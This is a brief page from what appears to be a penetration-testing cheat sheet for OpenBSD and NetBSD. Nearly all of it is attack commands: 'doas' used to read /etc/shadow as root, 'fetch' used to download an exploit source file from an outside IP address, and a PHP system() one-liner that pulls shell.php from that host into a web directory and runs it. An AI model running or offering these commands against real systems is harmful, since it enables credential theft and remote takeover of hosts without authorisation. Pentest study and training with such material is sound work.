> For the complete documentation index, see [llms.txt](https://gitbook.seguranca-informatica.pt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.seguranca-informatica.pt/cheat-sheet-1/stuff/netbsd.md).

# OpenBSD & NetBSD

## [doas](https://www.freebsd.org/cgi/man.cgi?query=doas\&sektion=1\&manpath=freebsd-release-ports)

Execute commands as another user.

```
doas -u root cat /etc/shadow
```

## fetch (curl)

```
fetch  http://10.11.0.244/exploit.c
<?php system("fetch -o /usr/local/databases/shell.php http://10.11.0.244/shell.php; php /usr/local/databases/shell.php"); ?>
```
